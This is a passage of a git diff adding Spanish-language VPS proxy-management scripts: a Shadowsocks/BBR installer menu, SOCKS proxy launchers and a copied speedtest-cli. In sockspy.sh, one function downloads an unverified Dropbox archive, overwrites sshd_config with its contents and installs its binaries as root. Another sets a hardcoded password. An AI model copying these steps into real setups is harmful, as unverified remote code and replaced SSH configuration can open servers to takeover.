| grep -q -E -i "debian"; then + release="debian" + elif cat /etc/issue | grep -q -E -i "ubuntu"; then + release="ubuntu" + elif cat /etc/issue | grep -q -E -i "centos|red hat|redhat"; then + release="centos" + elif cat /proc/version | grep -q -E -i "debian"; then + release="debian" + elif cat /proc/version | grep -q -E -i "ubuntu"; then + release="ubuntu" + elif cat /proc/version | grep -q -E -i "centos|red hat|redhat"; then + release="centos" + fi +} + +#检查Linux版本 +check_version(){ + if [[ -s /etc/redhat-release ]]; then + version=`grep -oE "[0-9.]+" /etc/redhat-release | cut -d . -f 1` + else + version=`grep -oE "[0-9.]+" /etc/issue | cut -d . -f 1` + fi + bit=`uname -m` + if [[ ${bit} = "x86_64" ]]; then + bit="x64" + else + bit="x32" + fi +} + +#检查安装bbr的系统要求 +check_sys_bbr(){ + check_version + if [[ "${release}" == "centos" ]]; then + if [[ ${version} -ge "6" ]]; then + installbbr + else + echo -e "${Error} El kernel de BBR no admite el sistema actual ${release} ${version} ${bit} !" && exit 1 + fi + elif [[ "${release}" == "debian" ]]; then + if [[ ${version} -ge "8" ]]; then + installbbr + else + echo -e "${Error} El kernel de BBR no admite el sistema actual ${release} ${version} ${bit} !" && exit 1 + fi + elif [[ "${release}" == "ubuntu" ]]; then + if [[ ${version} -ge "14" ]]; then + installbbr + else + echo -e "${Error} El kernel de BBR no admite el sistema actual ${release} ${version} ${bit} !" && exit 1 + fi + else + echo -e "${Error} El kernel de BBR no admite el sistema actual ${release} ${version} ${bit} !" && exit 1 + fi +} + +check_sys_bbrplus(){ + check_version + if [[ "${release}" == "centos" ]]; then + if [[ ${version} -ge "6" ]]; then + installbbrplus + else + echo -e "${Error} El kernel BBRplus no admite el sistema actual ${release} ${version} ${bit} !" && exit 1 + fi + elif [[ "${release}" == "debian" ]]; then + if [[ ${version} -ge "8" ]]; then + installbbrplus + else + echo -e "${Error} El kernel BBRplus no admite el sistema actual ${release} ${version} ${bit} !" && exit 1 + fi + elif [[ "${release}" == "ubuntu" ]]; then + if [[ ${version} -ge "14" ]]; then + installbbrplus + else + echo -e "${Error} El kernel BBRplus no admite el sistema actual ${release} ${version} ${bit} !" && exit 1 + fi + else + echo -e "${Error} El kernel BBRplus no admite el sistema actual ${release} ${version} ${bit} !" && exit 1 + fi +} + + +#检查安装Lotsever的系统要求 +check_sys_Lotsever(){ + check_version + if [[ "${release}" == "centos" ]]; then + if [[ ${version} == "6" ]]; then + kernel_version="2.6.32-504" + installlot + elif [[ ${version} == "7" ]]; then + yum -y install net-tools + kernel_version="3.10.0-327" + installlot + else + echo -e "${Error} Lotsever no admite el sistema actual ${release} ${version} ${bit} !" && exit 1 + fi + elif [[ "${release}" == "debian" ]]; then + if [[ ${version} -ge "7" ]]; then + if [[ ${bit} == "x64" ]]; then + kernel_version="3.16.0-4" + installlot + elif [[ ${bit} == "x32" ]]; then + kernel_version="3.2.0-4" + installlot + fi + else + echo -e "${Error} Lotsever no admite el sistema actual ${release} ${version} ${bit} !" && exit 1 + fi + elif [[ "${release}" == "ubuntu" ]]; then + if [[ ${version} -ge "12" ]]; then + if [[ ${bit} == "x64" ]]; then + kernel_version="4.4.0-47" + installlot + elif [[ ${bit} == "x32" ]]; then + kernel_version="3.13.0-29" + installlot + fi + else + echo -e "${Error} Lotsever no admite el sistema actual ${release} ${version} ${bit} !" && exit 1 + fi + else + echo -e "${Error} Lotsever no admite el sistema actual ${release} ${version} ${bit} !" && exit 1 + fi +} + +check_status(){ + kernel_version=`uname -r | awk -F "-" '{print $1}'` + kernel_version_full=`uname -r` + if [[ ${kernel_version_full} = "4.14.91-bbrplus" ]]; then + kernel_status="BBRplus" + elif [[ ${kernel_version} = "3.10.0" || ${kernel_version} = "3.16.0" || ${kernel_version} = "3.2.0" || ${kernel_version} = "4.4.0" || ${kernel_version} = "3.13.0" || ${kernel_version} = "2.6.32" ]]; then + kernel_status="Lotserver" + elif [[ `echo ${kernel_version} | awk -F'.' '{print $1}'` == "4" ]] && [[ `echo ${kernel_version} | awk -F'.' '{print $2}'` -ge 9 ]]; then + kernel_status="BBR" + else + kernel_status="no instalado" + fi + + if [[ ${kernel_status} == "Lotserver" ]]; then + if [[ -e /appex/bin/serverSpeeder.sh ]]; then + run_status=`bash /appex/bin/serverSpeeder.sh status | grep "ServerSpeeder" | awk '{print $3}'` + if [[ ${run_status} = "running!" ]]; then + run_status="启动成功" + else + run_status="Inicio exitoso" + fi + else + run_status="${Red_font_prefix}Fallo el inicio${Font_color_suffix}" + fi + elif [[ ${kernel_status} == "BBR" ]]; then + run_status=`grep "net.ipv4.tcp_congestion_control" /etc/sysctl.conf | awk -F "=" '{print $2}'` + if [[ ${run_status} == "bbr" ]]; then + run_status=`lsmod | grep "bbr" | awk '{print $1}'` + if [[ ${run_status} == "tcp_bbr" ]]; then + run_status="BBR se inicio con exito" + else + run_status="BBR no se pudo iniciar" + fi + elif [[ ${run_status} == "tsunami" ]]; then + run_status=`lsmod | grep "tsunami" | awk '{print $1}'` + if [[ ${run_status} == "tcp_tsunami" ]]; then + run_status="La version magic de BBR comenzo con exito" + else + run_status="La version magic de BBR no pudo iniciarse" + fi + elif [[ ${run_status} == "nanqinlang" ]]; then + run_status=`lsmod | grep "nanqinlang" | awk '{print $1}'` + if [[ ${run_status} == "tcp_nanqinlang" ]]; then + run_status="Violento BBR version magic comenzo con exito" + else + run_status="Violento BBR Magic version no se pudo iniciar" + fi + else + run_status="El modulo de aceleracion no esta instalado" + fi + elif [[ ${kernel_status} == "BBRplus" ]]; then + run_status=`grep "net.ipv4.tcp_congestion_control" /etc/sysctl.conf | awk -F "=" '{print $2}'` + if [[ ${run_status} == "bbrplus" ]]; then + run_status=`lsmod | grep "bbrplus" | awk '{print $1}'` + if [[ ${run_status} == "tcp_bbrplus" ]]; then + run_status="BBRplus se inicio con exito" + else + run_status="BBRplus no pudo iniciar" + fi + else + run_status="El modulo de aceleracion no esta instalado" + fi + fi +} + +#############系统检测组件############# +check_sys +check_version +[[ ${release} != "debian" ]] && [[ ${release} != "ubuntu" ]] && [[ ${release} != "centos" ]] && echo -e "${Error} 本脚本不支持当前系统 ${release} !" && exit 1 +start_menu +} + +# Initialization step +commands=( +${blan}Instalar\ Shadowsocks-libev${plain} + +${blan}Desinstalar\ Shadowsocks-libev${plain} + +${blan}Auto\ Reiniciar\ Sistema${plain} + +${blan}Reiniciar\ shadowsocks${plain} + +${blan}Instalar\ BBR\ LOTSERVER${plain} + +${red}salir${plain} + +) + +# Choose command +choose_command(){ + if ! install_check; then + echo -e "[${red}Error${plain}] Tu O.S no soporta este script!" + echo "Por favor cambia a CentOS 6+/Debian 7+/Ubuntu 12+ y vuelva intentarlo." + exit 1 + fi + + clear + while true + do + echo + echo -e "${blue}Bienvenido! Por favor, seleccione el comando para comenzar:${plain}" + echo -e "$BARRA1" + for ((i=1;i<=${#commands[@]};i++ )); do + hint="${commands[$i-1]}" + echo -e "${green}${i}${plain}) ${hint}" + done + echo -e "$BARRA1" + read -p "Que opcion seleccionaria (Predeterminado:Instalar):" order_num + [ -z "$order_num" ] && order_num=1 + expr ${order_num} + 1 &>/dev/null + if [ $? -ne 0 ]; then + echo + echo -e "[${red}Error${plain}] Por facor introduzca un numero" + continue + fi + if [[ "$order_num" -lt 1 || "$order_num" -gt ${#commands[@]} ]]; then + echo + echo -e "[${red}Error${plain}] Por favor introduzca un numero entre 1 y ${#commands[@]}" + continue + fi + break + done +clear + echo -e "$BARRA1" + echo -e "[${green}Info${plain}] Seleccionas la opcion ${order_num}${plain}" + echo -e "$BARRA1" + + case $order_num in + 1) + install_shadowsocks_libev + ;; + 2) + uninstall_shadowsocks_libev + ;; + 3) + auto_restart_system + ;; + 4)reiniciar_ss + ;; + 5)bbr_inst + ;; + 6)salir + ;; + *) + ${SCPdir}/menu + ;; + esac +} +# start +cd ${cur_dir} +choose_command diff --git a/ADM-VENTAS-LEALDROID/request/sockspy.sh b/ADM-VENTAS-LEALDROID/request/sockspy.sh new file mode 100644 index 0000000..42ac84d --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/sockspy.sh @@ -0,0 +1,119 @@ +#!/bin/bash +declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" ) +SCPfrm="/etc/ger-frm" && [[ ! -d ${SCPfrm} ]] && exit +SCPinst="/etc/ger-inst" && [[ ! -d ${SCPinst} ]] && exit +mportas () { +unset portas +portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN") +while read port; do +var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}') +[[ "$(echo -e $portas|grep "$var1 $var2")" ]] || portas+="$var1 $var2\n" +done <<< "$portas_var" +i=1 +echo -e "$portas" +} +tcpbypass_fun () { +[[ -e $HOME/socks ]] && rm -rf $HOME/socks > /dev/null 2>&1 +[[ -d $HOME/socks ]] && rm -rf $HOME/socks > /dev/null 2>&1 +cd $HOME && mkdir socks > /dev/null 2>&1 +cd socks +patch="https://www.dropbox.com/s/ks45mkuis7yyi1r/backsocz" +arq="backsocz" +wget $patch -o /dev/null +unzip $arq > /dev/null 2>&1 +mv -f ./ssh /etc/ssh/sshd_config && service ssh restart 1> /dev/null 2>/dev/null +mv -f sckt$(python3 --version|awk '{print $2}'|cut -d'.' -f1,2) /usr/sbin/sckt +mv -f scktcheck /bin/scktcheck +chmod +x /bin/scktcheck +chmod +x /usr/sbin/sckt +rm -rf $HOME/socks +cd $HOME +msg="$2" +[[ $msg = "" ]] && msg="BIENVENIDO" +portxz="$1" +[[ $portxz = "" ]] && portxz="8080" +screen -dmS sokz scktcheck "$portxz" "$msg" > /dev/null 2>&1 +} +gettunel_fun () { +echo "master=ADMMANAGER" > ${SCPinst}/pwd.pwd +while read service; do +[[ -z $service ]] && break +echo "127.0.0.1:$(echo $service|cut -d' ' -f2)=$(echo $service|cut -d' ' -f1)" >> ${SCPinst}/pwd.pwd +done <<< "$(mportas)" +screen -dmS getpy python ${SCPinst}/PGet.py -b "0.0.0.0:$1" -p "${SCPinst}/pwd.pwd" + [[ "$(ps x | grep "PGet.py" | grep -v "grep" | awk -F "pts" '{print $1}')" ]] && { + echo -e "$(fun_trans "Gettunel Iniciado con exito")" + msg -bar + echo -ne "$(fun_trans "Su Contraseña Gettunel"):" + echo -e "\033[1;32m ADMMANAGER" + } || { +msg -bar +msg -ama "$(fun_trans "Gettunel no se inicio")" +msg -bar + } +} +pid_kill () { +[[ -z $1 ]] && refurn 1 +pids="$@" +for pid in $(echo $pids); do +kill -9 $pid &>/dev/null +done +} +remove_fun () { +msg -ama "$(fun_trans "Parando Socks Python")" +msg -bar +pidproxy=$(ps x | grep "PPub.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy ]] && pid_kill $pidproxy +pidproxy2=$(ps x | grep "PPriv.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy2 ]] && pid_kill $pidproxy2 +pidproxy3=$(ps x | grep "PDirect.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy3 ]] && pid_kill $pidproxy3 +pidproxy4=$(ps x | grep "POpen.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy4 ]] && pid_kill $pidproxy4 +pidproxy5=$(ps x | grep "PGet.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy5 ]] && pid_kill $pidproxy5 +pidproxy6=$(ps x | grep "scktcheck" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy6 ]] && pid_kill $pidproxy6 +echo -e " $(fun_trans "Socks Parado")" +msg -bar +} +iniciarsocks () { +pidproxy=$(ps x | grep -w "PPub.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy ]] && P1="\033[1;32mon" || P1="\033[1;31moff" +pidproxy2=$(ps x | grep -w "PPriv.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy2 ]] && P2="\033[1;32mon" || P2="\033[1;31moff" +pidproxy3=$(ps x | grep -w "PDirect.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy3 ]] && P3="\033[1;32mon" || P3="\033[1;31moff" +pidproxy4=$(ps x | grep -w "POpen.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy4 ]] && P4="\033[1;32mon" || P4="\033[1;31moff" +pidproxy5=$(ps x | grep "PGet.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy5 ]] && P5="\033[1;32mon" || P5="\033[1;31moff" +pidproxy6=$(ps x | grep "scktcheck" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy6 ]] && P6="\033[1;32mon" || P6="\033[1;31moff" +echo -ne "\033[1;32m [1] > " && msg -azu "$(fun_trans "Socks Python SIMPLES)") $P1" +echo -ne "\033[1;32m [2] > " && msg -azu "$(fun_trans "Socks Python SEGURO") $P2" +echo -ne "\033[1;32m [3] > " && msg -azu "$(fun_trans "Socks Python DIRETO") $P3" +echo -ne "\033[1;32m [4] > " && msg -azu "$(fun_trans "Socks Python OPENVPN") $P4" +echo -ne "\033[1;32m [5] > " && msg -azu "$(fun_trans "Socks Python GETTUNEL") $P5" +echo -ne "\033[1;32m [6] > " && msg -azu "$(fun_trans "Socks Python TCP BYPASS") $P6" +echo -ne "\033[1;32m [7] > " && msg -azu "$(fun_trans "PARAR TODOS SOCKETS PYTHON")" +echo -ne "\033[1;32m [0] > " && msg -bra "$(fun_trans "VOLTAR")" && msg -bar +IP=(meu_ip) +while [[ -z $portproxy || $portproxy != @(0|[1-7]) ]]; do +msg -ne " $(fun_trans "Introduzca la opción"): " && read portproxy +tput cuu1 && tput dl1 +done + case $portproxy in + 7)remove_fun && return;; + 0)return;; + esac +msg -ama "$(fun_trans "Selecciona la puerta en la que los socks van a escuchar")" +msg -bar +porta_socket= +while [[ -z $porta_socket || ! -z $(mportas|grep -w $porta_socket) ]]; do +msg -ne " $(fun_trans "Introduzca el puerto"): " && read porta_socket +tput cuu1 && tput dl1 +done +msg -ama " $(fun_trans "Seleccione un texto de conexión")" +msg -bar +msg -ne " $(fun_trans "Introduzca el texto de estado"): " && read texto_soket + case $portproxy in + 1)screen -dmS screen python ${SCPinst}/PPub.py "$porta_socket" "$texto_soket";; + 2)screen -dmS screen python3 ${SCPinst}/PPriv.py "$porta_socket" "$texto_soket" "$IP";; + 3)screen -dmS screen python ${SCPinst}/PDirect.py "$porta_socket" "$texto_soket";; + 4)screen -dmS screen python ${SCPinst}/POpen.py "$porta_socket" "$texto_soket";; + 5)gettunel_fun "$porta_socket";; + 6)tcpbypass_fun "$porta_socket" "$texto_soket";; + esac +msg -ama " $(fun_trans "Procedimiento completado")" +msg -bar +} +iniciarsocks diff --git a/ADM-VENTAS-LEALDROID/request/speed.sh b/ADM-VENTAS-LEALDROID/request/speed.sh new file mode 100644 index 0000000..b6caea5 --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/speed.sh @@ -0,0 +1,26 @@ +#!/bin/bash +declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" ) +SCPfrm="/etc/ger-frm" && [[ ! -d ${SCPfrm} ]] && exit +SCPinst="/etc/ger-inst" && [[ ! -d ${SCPinst} ]] && exit +echo -e "${cor[4]} $(fun_trans "Speed Test") [NEW-ADM]" +msg -bar +ping=$(ping -c1 google.com |awk '{print $8 $9}' |grep -v loss |cut -d = -f2 |sed ':a;N;s/\n//g;ta') +# PROGRESS - BAR +( +echo -ne "[" >&2 +while [[ ! -e /tmp/pyend ]]; do +echo -ne "." >&2 +sleep 0.8s +done +rm /tmp/pyend +echo -e "]" >&2 +) & +[[ $(dpkg --get-selections|grep -w "python"|head -1) ]] || apt-get install python -y &>/dev/null +starts_test=$(python ${SCPfrm}/speedtest.py) && touch /tmp/pyend +sleep 0.6s +down_load=$(echo "$starts_test" | grep "Download" | awk '{print $2,$3}') +up_load=$(echo "$starts_test" | grep "Upload" | awk '{print $2,$3}') +msg -ama " $(fun_trans "Latencia"): $ping" +msg -ama " $(fun_trans "Carga"): $up_load" +msg -ama " $(fun_trans "Descarga"): $down_load" +msg -bar diff --git a/ADM-VENTAS-LEALDROID/request/speedtest.py b/ADM-VENTAS-LEALDROID/request/speedtest.py new file mode 100644 index 0000000..c6d2139 --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/speedtest.py @@ -0,0 +1,1412 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +# Copyright 2012-2016 Matt Martz +# All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + +import os +import re +import csv +import sys +import math +import errno +import signal +import socket +import timeit +import datetime +import platform +import threading +import xml.parsers.expat + +try: + import gzip + GZIP_BASE = gzip.GzipFile +except ImportError: + gzip = None + GZIP_BASE = object + +__version__ = '1.0.0' + + +class FakeShutdownEvent(object): + """Class to fake a threading.Event.isSet so that users of this module + are not required to register their own threading.Event() + """ + + @staticmethod + def isSet(): + "Dummy method to always return false""" + return False + + +# Some global variables we use +USER_AGENT = None +SOURCE = None +SHUTDOWN_EVENT = FakeShutdownEvent() +SCHEME = 'http' +DEBUG = False + +# Used for bound_interface +SOCKET_SOCKET = socket.socket + +# Begin import game to handle Python 2 and Python 3 +try: + import json +except ImportError: + try: + import simplejson as json + except ImportError: + json = None + +try: + import xml.etree.cElementTree as ET +except ImportError: + try: + import xml.etree.ElementTree as ET + except ImportError: + from xml.dom import minidom as DOM + ET = None + +try: + from urllib2 import urlopen, Request, HTTPError, URLError +except ImportError: + from urllib.request import urlopen, Request, HTTPError, URLError + +try: + from httplib import HTTPConnection +except ImportError: + from http.client import HTTPConnection + +try: + from httplib import HTTPSConnection +except ImportError: + try: + from http.client import HTTPSConnection + except ImportError: + HTTPSConnection = None + +try: + from Queue import Queue +except ImportError: + from queue import Queue + +try: + from urlparse import urlparse +except ImportError: + from urllib.parse import urlparse + +try: + from urlparse import parse_qs +except ImportError: + try: + from urllib.parse import parse_qs + except ImportError: + from cgi import parse_qs + +try: + from hashlib import md5 +except ImportError: + from md5 import md5 + +try: + from argparse import ArgumentParser as ArgParser + from argparse import SUPPRESS as ARG_SUPPRESS + PARSER_TYPE_INT = int + PARSER_TYPE_STR = str +except ImportError: + from optparse import OptionParser as ArgParser + from optparse import SUPPRESS_HELP as ARG_SUPPRESS + PARSER_TYPE_INT = 'int' + PARSER_TYPE_STR = 'string' + +try: + from cStringIO import StringIO + BytesIO = None +except ImportError: + try: + from io import StringIO, BytesIO + except ImportError: + from StringIO import StringIO + BytesIO = None + +try: + import builtins +except ImportError: + def print_(*args, **kwargs): + """The new-style print function for Python 2.4 and 2.5. + + Taken from https://pypi.python.org/pypi/six/ + + Modified to set encoding to UTF-8 if not set when stdout may not be + a tty such as when piping to head + """ + fp = kwargs.pop("file", sys.stdout) + if fp is None: + return + + def write(data): + if not isinstance(data, basestring): + data = str(data) + # If the file has an encoding, encode unicode with it. + encoding = fp.encoding or 'UTF-8' # Diverges for notty + if (isinstance(fp, file) and + isinstance(data, unicode) and + encoding is not None): + errors = getattr(fp, "errors", None) + if errors is None: + errors = "strict" + data = data.encode(encoding, errors) + fp.write(data) + want_unicode = False + sep = kwargs.pop("sep", None) + if sep is not None: + if isinstance(sep, unicode): + want_unicode = True + elif not isinstance(sep, str): + raise TypeError("sep must be None or a string") + end = kwargs.pop("end", None) + if end is not None: + if isinstance(end, unicode): + want_unicode = True + elif not isinstance(end, str): + raise TypeError("end must be None or a string") + if kwargs: + raise TypeError("invalid keyword arguments to print()") + if not want_unicode: + for arg in args: + if isinstance(arg, unicode): + want_unicode = True + break + if want_unicode: + newline = unicode("\n") + space = unicode(" ") + else: + newline = "\n" + space = " " + if sep is None: + sep = space + if end is None: + end = newline + for i, arg in enumerate(args): + if i: + write(sep) + write(arg) + write(end) +else: + print_ = getattr(builtins, 'print') + del builtins + +# Exception "constants" to support Python 2 through Python 3 +try: + import ssl + try: + CERT_ERROR = (ssl.CertificateError,) + except AttributeError: + CERT_ERROR = tuple() + + HTTP_ERRORS = ((HTTPError, URLError, socket.error, ssl.SSLError) + + CERT_ERROR) +except ImportError: + HTTP_ERRORS = (HTTPError, URLError, socket.error) + + +class SpeedtestException(Exception): + """Base exception for this module""" + + +class SpeedtestHTTPError(SpeedtestException): + """Base HTTP exception for this module""" + + +class SpeedtestConfigError(SpeedtestException): + """Configuration provided is invalid""" + + +class ConfigRetrievalError(SpeedtestHTTPError): + """Could not retrieve config.php""" + + +class ServersRetrievalError(SpeedtestHTTPError): + """Could not retrieve speedtest-servers.php""" + + +class InvalidServerIDType(SpeedtestException): + """Server ID used for filtering was not an integer""" + + +class NoMatchedServers(SpeedtestException): + """No servers matched when filtering""" + + +class SpeedtestMiniConnectFailure(SpeedtestException): + """Could not connect to the provided speedtest mini server""" + + +class InvalidSpeedtestMiniServer(SpeedtestException): + """Server provided as a speedtest mini server does not actually appear + to be a speedtest mini server + """ + + +class ShareResultsConnectFailure(SpeedtestException): + """Could not connect to speedtest.net API to POST results""" + + +class ShareResultsSubmitFailure(SpeedtestException): + """Unable to successfully POST results to speedtest.net API after + connection + """ + + +class SpeedtestUploadTimeout(SpeedtestException): + """testlength configuration reached during upload + Used to ensure the upload halts when no additional data should be sent + """ + + +class SpeedtestBestServerFailure(SpeedtestException): + """Unable to determine best server""" + + +class GzipDecodedResponse(GZIP_BASE): + """A file-like object to decode a response encoded with the gzip + method, as described in RFC 1952. + + Largely copied from ``xmlrpclib``/``xmlrpc.client`` and modified + to work for py2.4-py3 + """ + def __init__(self, response): + # response doesn't support tell() and read(), required by + # GzipFile + if not gzip: + raise SpeedtestHTTPError('HTTP response body is gzip encoded, ' + 'but gzip support is not available') + IO = BytesIO or StringIO + self.io = IO(response.read()) + gzip.GzipFile.__init__(self, mode='rb', fileobj=self.io) + + def close(self): + try: + gzip.GzipFile.close(self) + finally: + self.io.close() + + +def bound_socket(*args, **kwargs): + """Bind socket to a specified source IP address""" + + sock = SOCKET_SOCKET(*args, **kwargs) + sock.bind((SOURCE, 0)) + return sock + + +def distance(origin, destination): + """Determine distance between 2 sets of [lat,lon] in km""" + + lat1, lon1 = origin + lat2, lon2 = destination + radius = 6371 # km + + dlat = math.radians(lat2 - lat1) + dlon = math.radians(lon2 - lon1) + a = (math.sin(dlat / 2) * math.sin(dlat / 2) + + math.cos(math.radians(lat1)) * + math.cos(math.radians(lat2)) * math.sin(dlon / 2) * + math.sin(dlon / 2)) + c = 2 * math.atan2(math.sqrt(a), math.sqrt(1 - a)) + d = radius * c + + return d + + +def build_user_agent(): + """Build a Mozilla/5.0 compatible User-Agent string""" + + global USER_AGENT + if USER_AGENT: + return USER_AGENT + + ua_tuple = ( + 'Mozilla/5.0', + '(%s; U; %s; en-us)' % (platform.system(), platform.architecture()[0]), + 'Python/%s' % platform.python_version(), + '(KHTML, like Gecko)', + 'speedtest-cli/%s' % __version__ + ) + USER_AGENT = ' '.join(ua_tuple) + printer(USER_AGENT, debug=True) + return USER_AGENT + + +def build_request(url, data=None, headers=None, bump=''): + """Build a urllib2 request object + + This function automatically adds a User-Agent header to all requests + + """ + + if not USER_AGENT: + build_user_agent() + + if not headers: + headers = {} + + if url[0] == ':': + schemed_url = '%s%s' % (SCHEME, url) + else: + schemed_url = url + + if '?' in url: + delim = '&' + else: + delim = '?' + + # WHO YOU GONNA CALL? CACHE BUSTERS! + final_url = '%s%sx=%s.%s' % (schemed_url, delim, + int(timeit.time.time() * 1000), + bump) + + headers.update({ + 'User-Agent': USER_AGENT, + 'Cache-Control': 'no-cache', + }) + + printer('%s %s' % (('GET', 'POST')[bool(data)], final_url), + debug=True) + + return Request(final_url, data=data, headers=headers) + + +def catch_request(request): + """Helper function to catch common exceptions encountered when + establishing a connection with a HTTP/HTTPS request + + """ + + try: + uh = urlopen(request) + return uh, False + except HTTP_ERRORS: + e = sys.exc_info()[1] + return None, e + + +def get_response_stream(response): + """Helper function to return either a Gzip reader if + ``Content-Encoding`` is ``gzip`` otherwise the response itself + + """ + + try: + getheader = response.headers.getheader + except AttributeError: + getheader = response.getheader + + if getheader('content-encoding') == 'gzip': + return GzipDecodedResponse(response) + + return response + + +def get_attributes_by_tag_name(dom, tag_name): + """Retrieve an attribute from an XML document and return it in a + consistent format + + Only used with xml.dom.minidom, which is likely only to be used + with python versions older than 2.5 + """ + elem = dom.getElementsByTagName(tag_name)[0] + return dict(list(elem.attributes.items())) + + +def print_dots(current, total, start=False, end=False): + """Built in callback function used by Thread classes for printing + status + """ + + if SHUTDOWN_EVENT.isSet(): + return + + sys.stdout.write('.') + if current + 1 == total and end is True: + sys.stdout.write('\n') + sys.stdout.flush() + + +def do_nothing(*args, **kwargs): + pass + + +class HTTPDownloader(threading.Thread): + """Thread class for retrieving a URL""" + + def __init__(self, i, request, start, timeout): + threading.Thread.__init__(self) + self.request = request + self.result = [0] + self.starttime = start + self.timeout = timeout + self.i = i + + def run(self): + try: + if (timeit.default_timer() - self.starttime) <= self.timeout: + f = urlopen(self.request) + while (not SHUTDOWN_EVENT.isSet() and + (timeit.default_timer() - self.starttime) <= + self.timeout): + self.result.append(len(f.read(10240))) + if self.result[-1] == 0: + break + f.close() + except IOError: + pass + + +class HTTPUploaderData(object): + """File like object to improve cutting off the upload once the timeout + has been reached + """ + + def __init__(self, length, start, timeout): + self.length = length + self.start = start + self.timeout = timeout + + self._data = None + + self.total = [0] + + def _create_data(self): + chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' + multiplier = int(round(int(self.length) / 36.0)) + IO = BytesIO or StringIO + self._data = IO( + ('content1=%s' % + (chars * multiplier)[0:int(self.length) - 9] + ).encode() + ) + + @property + def data(self): + if not self._data: + self._create_data() + return self._data + + def read(self, n=10240): + if ((timeit.default_timer() - self.start) <= self.timeout and + not SHUTDOWN_EVENT.isSet()): + chunk = self.data.read(n) + self.total.append(len(chunk)) + return chunk + else: + raise SpeedtestUploadTimeout + + def __len__(self): + return self.length + + +class HTTPUploader(threading.Thread): + """Thread class for putting a URL""" + + def __init__(self, i, request, start, size, timeout): + threading.Thread.__init__(self) + self.request = request + self.request.data.start = self.starttime = start + self.size = size + self.result = None + self.timeout = timeout + self.i = i + + def run(self): + request = self.request + try: + if ((timeit.default_timer() - self.starttime) <= self.timeout and + not SHUTDOWN_EVENT.isSet()): + try: + f = urlopen(request) + except TypeError: + # PY24 expects a string or buffer + # This also causes issues with Ctrl-C, but we will concede + # for the moment that Ctrl-C on PY24 isn't immediate + request = build_request(self.request.get_full_url(), + data=request.data.read(self.size)) + f = urlopen(request) + f.read(11) + f.close() + self.result = sum(self.request.data.total) + else: + self.result = 0 + except (IOError, SpeedtestUploadTimeout): + self.result = sum(self.request.data.total) + + +class SpeedtestResults(object): + """Class for holding the results of a speedtest, including: + + Download speed + Upload speed + Ping/Latency to test server + Data about server that the test was run against + + Additionally this class can return a result data as a dictionary or CSV, + as well as submit a POST of the result data to the speedtest.net API + to get a share results image link. + """ + + def __init__(self, download=0, upload=0, ping=0, server=None): + self.download = download + self.upload = upload + self.ping = ping + if server is None: + self.server = {} + else: + self.server = server + self._share = None + self.timestamp = datetime.datetime.utcnow().isoformat() + self.bytes_received = 0 + self.bytes_sent = 0 + + def __repr__(self): + return repr(self.dict()) + + def share(self): + """POST data to the speedtest.net API to obtain a share results + link + """ + + if self._share: + return self._share + + download = int(round(self.download / 1000.0, 0)) + ping = int(round(self.ping, 0)) + upload = int(round(self.upload / 1000.0, 0)) + + # Build the request to send results back to speedtest.net + # We use a list instead of a dict because the API expects parameters + # in a certain order + api_data = [ + 'recommendedserverid=%s' % self.server['id'], + 'ping=%s' % ping, + 'screenresolution=', + 'promo=', + 'download=%s' % download, + 'screendpi=', + 'upload=%s' % upload, + 'testmethod=http', + 'hash=%s' % md5(('%s-%s-%s-%s' % + (ping, upload, download, '297aae72')) + .encode()).hexdigest(), + 'touchscreen=none', + 'startmode=pingselect', + 'accuracy=1', + 'bytesreceived=%s' % self.bytes_received, + 'bytessent=%s' % self.bytes_sent, + 'serverid=%s' % self.server['id'], + ] + + headers = {'Referer': 'http://c.speedtest.net/flash/speedtest.swf'} + request = build_request('://www.speedtest.net/api/api.php', + data='&'.join(api_data).encode(), + headers=headers) + f, e = catch_request(request) + if e: + raise ShareResultsConnectFailure(e) + + response = f.read() + code = f.code + f.close() + + if int(code) != 200: + raise ShareResultsSubmitFailure('Could not submit results to ' + 'speedtest.net') + + qsargs = parse_qs(response.decode()) + resultid = qsargs.get('resultid') + if not resultid or len(resultid) != 1: + raise ShareResultsSubmitFailure('Could not submit results to ' + 'speedtest.net') + + self._share = 'http://www.speedtest.net/result/%s.png' % resultid[0] + + return self._share + + def dict(self): + """Return dictionary of result data""" + + return { + 'download': self.download, + 'upload': self.upload, + 'ping': self.ping, + 'server': self.server, + 'timestamp': self.timestamp + } + + def csv(self, delimiter=','): + """Return data in CSV format""" + + data = self.dict() + out = StringIO() + writer = csv.writer(out, delimiter=delimiter, lineterminator='') + writer.writerow([data['server']['id'], data['server']['sponsor'], + data['server']['name'], data['timestamp'], + data['server']['d'], 